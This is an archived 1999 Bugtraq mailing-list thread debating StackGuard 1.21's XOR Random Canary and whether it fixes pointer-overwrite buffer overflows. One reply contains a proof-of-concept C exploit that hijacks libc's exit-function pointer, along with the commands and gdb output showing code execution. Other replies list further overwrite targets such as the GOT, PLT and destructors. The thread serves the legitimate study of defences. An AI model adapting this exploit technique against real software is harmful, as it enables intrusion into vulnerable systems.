ImmuniX OS - Bugtraq Thread 1 10-1999 bugtraq@securityfocus.com
11/08/99 [ImmuniX OS Security Alert: StackGuard 1.21 Released] Crispin Cowan
11/10/99 [ImmuniX OS Security Alert: StackGuard 1.21 Released] Gerardo Richarte11/11/99 [Re: Vulnerability in ImmuniX OS Security Alert: StackGuard 1.21Released] Gerardo Richarte11/10/99 [ImmuniX OS Security Alert: StackGuard 1.21 Released] Iván
11/10/99 [ImmuniX OS Security Alert: StackGuard 1.21 Released] Crispin Cowan
11/12/99 [Re: Vulnerability in ImmuniX OS Security Alert: StackGuard 1.21Released] Crispin Cowan
1. Topic:
A method has been found to violate StackGuard protection against
stack
smashing attacks. ImmuniX OS is generally intended to aleviate
the
need for frequent patching; this is the first StackGuard vulnerability
to be discovered since StackGuard was introduced in January 1998.
StackGuard 1.21 fixes this problem, available at
http://immunix.org/downloads.html#sg1.21
2. Problem description:
A significant security vulnerability has been discovered by Mariusz
Woloszyn <emsi@it.pl> that permits
attackers to perpetrate successful
attacks against StackGuarded programs under particular circumstances.
Woloszyn is preparing a Phrack article describing this vulnerability,
which we summarize here. StackGuard 1.21 effectively protects
against
this vulnerability. The Immunix team would like to thank Mariusz
for
kindly notifying us first about this vulnerability, and allowing
us the
time to develop and distribute a defense.
Consider this vulnerable code:
foo(char * arg) {
char * p = arg;
// a vulnerable pointer
char a[25]; // the buffer that
makes the pointer vulnerable
gets(a); // using gets() makes
you vulnerable
gets(p); // this is the good
part
}
In attacking this code, the attacker first overflows the buffer a[]
with
a goal of changing the value of the char * p pointer. Specifically,
the attacker can cause the p pointer to point anywhere in memory,
but especially at a return address record in an activation record.
When the program then takes input and stores it where p points,
the
input data is stored where the attacker said to store it.
The above attack is effective against the Random and Terminator Canary
mechanisms because those methods assume that the attack is linear,
i.e. that an attacker seeking to corrupt the return address must
necessarily use a string operation that overflows an automatic buffer
on
the stack, moving up memory through the canary word, and only then
reach
the return address entry. The above attack form, however,
allows the
attacker to synthesize a pointer to arbitrary space, including pointing
directly at the return address, bypassing canary protection.
NOTE: No *actual* vulnerabilities of this form are known, but
programs
with this vulnerability are plausible.
3. Solution: The XOR Random Canary
StackGuard 1.21 introduces a new canary defense mechanism: the XOR
Random canary. Like the random canary mechanism, we choose
a vector
of 128 random canary words at exec() time, but we also XOR the canary
with the return address word, so that the return address is bound
to
the random canary value. The exact procedure is as follows:
* Setting up an activation record: when calling a function
o push the return address
o look up the random
canary word for the current function
o XOR the random canary
word with the return address
o store the result immediately
below the return address in the
activation
record
* Tearing down an activation record: when returning
from a function
o fetch the canary word
from memory
o XOR the memory canary
word with the return address on the
stack
o compare the result with the
random canary word associated with
the current function
The result of this method is that we have the same protection as
with
the classic Random canary, and also the property that the attacker
cannot
modify the return address without invalidating the canary word.
Availability
StackGuard 1.21 has been made available:
http://immunix.org/downloads.html#sg1.21
We have done partial testing with this compiler, using it to build
many programs common in Linux distributions, and have not observed
any
problems. However, we have not yet done a complete build of
an entire
Linux distribution, so this compiler should be considered beta for
now.
Crispin Cowan & the ImmuniX development team
-----
Crispin Cowan, CTO, WireX Communications, Inc. http://wirex.com
Free Hardened Linux Distribution:
http://immunix.org
Crispin Cowan wrote:
Consider this vulnerable code:
foo(char * arg) {
char * p
= arg; // a vulnerable pointer
char a[25];
// the buffer that makes the pointer vulnerable
gets(a); //
using gets() makes you vulnerable
gets(p);
// this is the good part
}
In attacking this code, the attacker first overflows
the buffer a[]
with a goal of changing the value of the char * p pointer.
Specifically,
the attacker can cause the p pointer to point anywhere
in memory,
but especially at a return address record in an activation
record.
When the program then takes input and stores it where
p points, the
input data is stored where the attacker said to store
it.
I think that having this kind of overflow available,
StackWard is
still vulnerable to a little smarter attack.
You may think that this code example is too tricky,
but there was a
buffer overflow in bind's inverse query
(http://www.securityfocus.com/vdb/bottom.html?vid=134) like this.
This
makes me remember of some code I wrote to exploit this for Sparcs,
as
it was just one call deep, it was imposible to overwrite the return
address, so, by using a memcpy() to a pointer I could overwrite
(like
that one in the example code) I overwrited part of the libc in memory,
lets say
printf, so when the program called printf() after the second memcpy(),
instead of calling the original printf() it called my code: Here
you
have an exploit that can be used still if you have StackWard.
Am I wrong?
Gerardo Richarte
--
Investigacion y Desarrollo - CoreLabs - Core SDI
http://www.core-sdi.com
--- For a personal reply use gera@core-sdi.com
Crispin Cowan wrote:
> Gerardo Richarte wrote:
>
> > I think that having
this kind of overflow available, StackWard is
> > still vulnerable to a little smarter attack.
>
>
> > You may think that
this code example is too tricky, but there was a
> > buffer overflow in bind's inverse query
> > (http://www.securityfocus.com/vdb/bottom.html?vid=134)
like this. This
> > makes me remember of some code I wrote to
exploit this for Sparcs, as
> > it was just one call deep, it was imposible
to overwrite the return
> > address, so, by using a memcpy() to a pointer
I could overwrite (like
> > that one in
> > the example code) I overwrited part of the
libc in memory, lets say
> > printf, so when the program called printf()
after the second memcpy(),
> > instead of calling the original printf()
it called my code: Here you
> > have an exploit that can be used still if
you have StackWard.
>
> You appear to be describing a buffer overflow
that attacks a pointer, and
No he is describing an attack that exploits a buffer overflow, the
particular case
is that the vulnerability allows the attacker to overwrite a pointer,
the ways
to exploit that are many, Gerardo mentions overwritting a libc function,
other
things that come to mind:
. Modifying the PLT
. Modifying the GOT
. Modifiying the _dynamic struct
. Overwritting global variables (i somehow recall an exploit that
modifies a
global FILE struct under some *BSD flavor)
. Overwritting C++ object destructors
> not the activation record. StackGuard
only claims to protect the
> activation record, so while this is a legitimate
vulnerability that
> StackGuard does not prevent, it is not actually
a bug in StackGuard.
>
Well, your original post said:
> Consider this vulnerable code:
>
> foo(char * arg) {
> char *
p = arg; // a vulnerable pointer
> char a[25];
// the buffer that makes the pointer vulnerable
>
> gets(a);
// using gets() makes you vulnerable
> gets(p);
// this is the good part
> }
>
> In attacking this code, the attacker first
overflows the buffer a[] with
> a goal of changing the value of the char *
p pointer. Specifically,
> the attacker can cause the p pointer to point
anywhere in memory,
> but especially at a return address record in
an activation record.
> When the program then takes input and stores
it where p points, the
> input data is stored where the attacker said
to store it.
>
"in attacking this code" is a key phrase here...
I believe Gerardo tries to say that it is posible to attack that
code in many
different ways and therefore:
> 3. Solution: The XOR Random Canary
It is not so.
It's just a way to prevent ONE kind of exploitation of that code
> The result of this method is that we have the
same protection as with
> the classic Random canary, and also the property
that the attacker cannot
Exactly, "the same protection"
It just doesnt fix the problem of exploiting the code
in a way that does not involve:
> modify the return address without invalidating the canary word.
This in no way implies that StackGuard is not an effective solution
against
common buffer overflow vulnerabilities and the usual way of exploiting
them,
but i think its importart to point out exactly against what
it DOES protect you
and against what it DOESNT.
that said, i now run to trademark StackWard....
btw, what about StackWars?
-ivan
--
"Understanding. A cerebral secretion that enables one having it
to know
a house from a horse by the roof on the house,
It's nature and laws have been exhaustively expounded by Locke,
who rode a house, and Kant, who lived in a horse." - Ambrose
Bierce
==================[ CORE Seguridad de la Informacion S.A. ]=============
Iván Arce - Presidente -
PGP Fingerprint: C7A8 ED85 8D7B 9ADC 6836 B25D 207B E78E 2AD1
F65A
http://www.core-sdi.com Pte.
Juan D. Peron 315 Piso 4 UF 17 1038 Capital Federal
Buenos Aires, Argentina.
Tel/Fax : +(54-11) 4331-5402
================================================================
--- For a personal reply use iarce@core-sdi.com
Gerardo Richarte wrote:
> I think that having
this kind of overflow available, StackWard is
> still vulnerable to a little smarter attack.
I assume you mean "StackGuard". I've never heard of StackWard,
and
neither has Altavista. If someone needs a catch project name,
"stackward"
seems to be available :-)
> You may think that this code example
is too tricky, but there was a
> buffer overflow in bind's inverse query
> (http://www.securityfocus.com/vdb/bottom.html?vid=134)
like this. This
> makes me remember of some code I wrote to exploit
this for Sparcs, as
> it was just one call deep, it was imposible
to overwrite the return
> address, so, by using a memcpy() to a pointer
I could overwrite (like
> that one in
> the example code) I overwrited part of the
libc in memory, lets say
> printf, so when the program called printf()
after the second memcpy(),
> instead of calling the original printf() it
called my code: Here you
> have an exploit that can be used still if you
have StackWard.
You appear to be describing a buffer overflow that attacks a pointer,
and
not the activation record. StackGuard only claims to protect
the
activation record, so while this is a legitimate vulnerability that
StackGuard does not prevent, it is not actually a bug in StackGuard.
We are developing a future product called "PointGuard" that will
try to
apply StackGuard-style integrity checking to code pointers, but
it is a
long way from ready. If I understand your bind vulnerability
correctly,
it is the kind of thing that PointGuard would be able to defend
against.
Crispin
-----
Crispin Cowan, CTO, WireX Communications, Inc.
http://wirex.com
Free Hardened Linux Distribution:
http://immunix.org
Crispin Cowan wrote:
> I assume you mean "StackGuard". I've never
heard of StackWard, and
> neither has Altavista. If someone needs
a catch project name, "stackward"
> seems to be available :-)
>
> You appear to be describing a buffer overflow
that attacks a pointer, and
> not the activation record. StackGuard
only claims to protect the
> activation record, so while this is a legitimate
vulnerability that
> StackGuard does not prevent, it is not actually
a bug in StackGuard.
>
Sorry for my bad english, I think that this is the problem
why you
misunderstood what I'm trying to say... I'll try to explain it again.
Quoting from you previuos post:
> 1. Topic:
>
> A method has been found to violate StackGuard
protection against stack
> smashing attacks. ImmuniX OS is generally
intended to aleviate the
> need for frequent patching; this is the first
StackGuard vulnerability
> to be discovered since StackGuard was introduced
in January 1998.
>
> StackGuard 1.21 fixes this problem, available
at
> http://immunix.org/downloads.html#sg1.21
>
> 3. Solution: The XOR Random Canary
What I'm trying to say is that the new XOR Random Canary, is not
a
solution to the problem, you just need a different aproach to the
buffer
overflow, and as it's not secret (I already described it in a previous
post, and not knowing it doesn't mean that anybody else doesn't
know
it), I'll describe it again a little clearer (I hope).
> 2. Problem description:
>
> Consider this vulnerable code:
>
> foo(char * arg) {
> char *
p = arg; // a vulnerable pointer
> char a[25];
// the buffer that makes the pointer vulnerable
>
> gets(a);
// using gets() makes you vulnerable
> gets(p);
// this is the good part
>}
For my example I'll use a slightly modified version of your vulnerable
code example (bug.c):
void main() {
char *arg;
char *p = arg; // a vulnerable
pointer
char a[28]; // the buffer
that makes the pointer vulnerable
(changed 25 for 28 for padding)
gets(a); // using gets()
makes you vulnerable
gets(p); // this is the good
part
}
And here is my exploit (bugexp.c):
long address=0x4010022c; //
Called from exit()
for (;i<28;i++) printf("a");
printf("%c%c%c%c\n",address & 0xff, (address >> 8)&0xff,(address >> 16)&0xff, (address >> 24)&0xff);
address=0x40100230; // Where my code will be in memory (1 long afterthe address)
printf("%c%c%c%c",address & 0xff, (address >> 8)&0xff,(address >>16)&0xff, (address >> 24)&0xff);
for (i=0;i<300;i++) printf("\xc4"); // This
is the best part, opcode 0xc4 is an invalid opcode
printf("\n");
}
$make bug
$make bug
$bugexp >eploit
$bug <exploit
Illegal instruction (core dumped)
// Note the illegal instruction
now:
$gdb bugcore core
(gdb) x/20x $eip
0x4010023d <fnlist+29>: 0xc4c4c4c4
0xc4c4c4c4 0xc4c4c4c4
0xc4c4c4c4
So I can execute whatever I want, and I have at least 392 bytes to
do it.
and what it does:
With the first gets(a) it overwrites just p, so it points to 0x4010022c
that is the address in memory of libc's __exit_funcs[0].func.at
(look
forward for exit()'s source code), a pointer to a function that
will be
called by libc's exit().
Then on gets(p) I overwrite
this pointer with a pointer to my code and
place my code after this pointer.
Now the only thing I have
to do is wait exit() to call me. Look at exit
(this is from debian, but obviously it's close enogh to RedHat's,
and to
OBSD too):
void
DEFUN(exit, (status), int status)
for (; __exit_funcs; __exit_funcs = __exit_funcs->next)
{
while ((__exit_funcs->idx)-- >
0)
{
CONST struct exit_function *CONST
f
= &__exit_funcs->fns[__exit_funcs->idx];
switch (f->flavor)
{
case ef_free:
break;
case ef_on:
(*f->func.on.fn)(status,
f->func.on.arg);
break;
case ef_at:
(*f->func.at)();
break;
}}}
[...]
I hope you understand me now.
I don't dere to claim that this is a new method, but this method
of
exploiting a buffer overflow has some good features:
The host program doesn't crash until it exits (and you can code things
so it doesn't crash at all)
You can use the overflow several times to add more than one
__exit_function to the same server, the only thing you need is space
where to place your code.
I haven't tested this with StackGuard (!), but it should work, I
started downloading it, but never finished. Would you try it for
me?
PS: You can also try overwriting things like signal handlers, objects
destructors (look at: __do_global_dtors_aux) etc.
--
A390 1BBA 2C58 D679 5A71 - 86F9 404F 4B53 3944 C2D0
Investigacion y Desarrollo - CoreLabs - Core SDI
http://www.core-sdi.com
Gerardo Richarte wrote:
> > You appear to be describing a buffer overflow
that attacks a pointer, and
> > not the activation record. StackGuard
only claims to protect the
> > activation record, so while this is a legitimate
vulnerability that
> > StackGuard does not prevent, it is not actually
a bug in StackGuard.
> Sorry for my bad english,
I think that this is the problem why you
> misunderstood what I'm trying to say... I'll
try to explain it again.
I'll try to explain again: you are over-writing function pointers.
StackGuard does not defend function pointers. Yes, this is
a legitimate
vulnerability, but it is a vulnerability beyond the scope of the
StackGuard tool.
StackGuard is intended to defend function activation records, and
nothing more. Emsi's hack found a way to corrupt an activation
record
without StackGuard detecting it. StackGuard 1.21 closes that
vulnerability, and so we are back to our original claim: you
can't use
a buffer overflow to corrupt the return address of a function pointer
without StackGuard detecting it.
> with the first gets(a) it overwrites
just p, so it points to 0x4010022c
> that is the address in memory of libc's __exit_funcs[0].func.at
(look
> forward for exit()'s source code), a pointer
to a function that will be
> called by libc's exit().
Precisely: libc's __exit_funcs[0].func.at is a FUNCTION POINTER,
and
therefore Not a StackGuard Issue. For instance, the
following code is
also vulnerable
under StackGuard:
myfunc(void (*virt_func )) {
void (*foo)() = virt_func;
char buf[25];
gets(buf); // overflow buff, corrupt foo ptr
foo(buf); // wanna call foo, end up calling attack code
)
As I've said before, we are working on a tool called "PointGuard"
that
will actually attempt to address this problem.
Crispin
-----
Crispin Cowan, CTO, WireX Communications, Inc.
http://wirex.com
Free Hardened Linux Distribution:
http://immunix.org